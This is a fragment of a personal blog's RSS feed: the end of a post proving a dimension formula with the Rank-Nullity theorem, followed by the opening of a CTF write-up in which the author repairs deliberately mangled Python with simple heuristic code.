&lt;p&gt;We finish by using the Rank-Nullity theorem twice, first on &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;f &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8888799999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; and then on &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;g &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.625em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;g&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;katex-display&quot;&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot; display=&quot;block&quot;&gt;&lt;semantics&gt;&lt;mtable rowspacing=&quot;0.24999999999999992em&quot; columnalign=&quot;right left&quot; columnspacing=&quot;0em&quot;&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mi&gt;dim&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mo&gt;×&lt;/mo&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;/mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;dim&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Ran&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;dim&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Ker&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;/mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;dim&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;dim&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mrow&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Ran&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;/mrow&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;/mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;dim&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;dim&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mo&gt;∩&lt;/mo&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;.&lt;/mi&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;/mtable&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;
\begin{aligned}
\dim (V \times U) &amp;amp;= \dim \operatorname{Ran}{f} + \dim\operatorname{Ker}{f} \\
&amp;amp;= \dim(V + U) + \dim{\operatorname{Ran}{g}} \\
&amp;amp;= \dim(V + U) + \dim(V \cap U).
\end{aligned}
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:4.500000000000002em;vertical-align:-2.000000000000001em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mtable&quot;&gt;&lt;span class=&quot;col-align-r&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:2.5000000000000004em;&quot;&gt;&lt;span style=&quot;top:-4.66em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mop&quot;&gt;dim&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.22222em;&quot;&gt;V&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;×&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.16em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-1.6599999999999993em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:2.000000000000001em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;col-align-l&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:2.5000000000000004em;&quot;&gt;&lt;span style=&quot;top:-4.66em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;dim&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;&lt;span class=&quot;mord mathrm&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;dim&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;&lt;span class=&quot;mord mathrm&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;r&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.16em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;dim&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.22222em;&quot;&gt;V&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;dim&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mop&quot;&gt;&lt;span class=&quot;mord mathrm&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;g&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-1.6599999999999993em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;dim&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.22222em;&quot;&gt;V&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;dim&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.22222em;&quot;&gt;V&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;∩&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:2.000000000000001em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;The idea is ultimately simple: we know that every element in &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;V + U&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.76666em;vertical-align:-0.08333em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.22222em;&quot;&gt;V&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.68333em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
can be expressed as a sum of a vector from &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;V &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.68333em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.22222em;&quot;&gt;V&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; and a vector
from &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;U &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.68333em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. By investigating the kernel of &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;f &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8888799999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;, we are essentially
asking how many ways this can be done.&lt;/p&gt;

&lt;p&gt;I am not really sure if constructing proofs like this one is really “practical”.
However, I find this approach somewhat more aesthetic and enlightening than
picking a bunch of basis and then getting lost in a sea of coordinates.&lt;/p&gt;

&lt;p&gt;Anyway, this blog post is pretty different from what I used to write in the past. 
I have finished my &lt;a href=&quot;http://oes.fel.cvut.cz/&quot;&gt;Electrical Engineering&lt;/a&gt; bachelor’s
degree and started working towards getting
a bachelor’s degree in &lt;a href=&quot;https://www.mff.cuni.cz/cs/studenti/bc-a-mgr-studium/studijni-plany/2018-2019/studijni-program-matematika/a-bakalarske-studium/2-1-obecna-matematika&quot;&gt;Mathematics&lt;/a&gt;, so I ultimately hope
to post more in this vein in the future. I do hope to write some technical
posts as well, I have not given up engineering completely and still continue
to work as a freelance embedded systems engineer.&lt;/p&gt;
</description>
        <pubDate>Sat, 09 Jan 2021 00:00:00 +0100</pubDate>
        <link>https://blog.atx.name/fun-with-linar-algebra/</link>
        <guid isPermaLink="true">https://blog.atx.name/fun-with-linar-algebra/</guid>
        
        
      </item>
    
      <item>
        <title>The Catch 2019 writeup</title>
        <description>&lt;p&gt;&lt;a href=&quot;/images/the-catch-2019/logo.png&quot;&gt;&lt;img class=&quot;&quot; style=&quot;width: 100.0%;&quot; src=&quot;/images/the-catch-2019/t/logo.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.thecatch.cz/&quot;&gt;The Catch&lt;/a&gt; is an online CTF competition organized by the local internet infrastructure
non-profit &lt;a href=&quot;https://en.wikipedia.org/wiki/CESNET&quot;&gt;CESNET&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Last year we placed first as a team and got to attend the Trend Micro CTF
finals in Japan.
This year the CTF was an individual competition and I managed to get the
second place.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/the-catch-2019/scoreboard.png&quot;&gt;&lt;img class=&quot;overflow-centered&quot; style=&quot;max-width: 352px&quot; src=&quot;/images/the-catch-2019/scoreboard.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;#the-infiltration&quot;&gt;The Infiltration&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;#payment-terminal&quot;&gt;Payment Terminal&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;#vacuum-cleaner&quot;&gt;Vacuum Cleaner&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;#colonel-roche&quot;&gt;Colonel Roche&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-infiltration&quot;&gt;The Infiltration&lt;/h2&gt;

&lt;p&gt;Here we are provided with a remote HTTP server which returns Python code
generating a password and expects the password back in 5 seconds (this is
handled by using a session cookie we have to keep around).&lt;/p&gt;

&lt;p&gt;Unfortunately the Python code is malformed and changes per each request.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;# ... &lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;ipmort&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# &amp;lt;- &amp;#39;import&amp;#39; gets mangled&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;argparse&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;dfe&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;finalize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# &amp;lt;- &amp;#39;def&amp;#39; gets mangled&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# &amp;lt;- &amp;#39;:&amp;#39; is sometimes missing&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;ng&amp;quot;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# &amp;lt;- Indentation is sometimes broken&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;D5&amp;quot;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# &amp;lt;- &amp;#39;+=&amp;#39; gets mangled&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;In the end, this was mostly drudge work, figuring out what heuristics are
“good enough” to fix the code without breaking it is some other way. I suspect
one could harness something like &lt;a href=&quot;https://github.com/klen/pylama&quot;&gt;pylama&lt;/a&gt; to
do a bit more precise fixups, but that was not necessary here.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fix_fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fnsig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# Fix declaration&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;def &amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fnsig&lt;/span&gt;
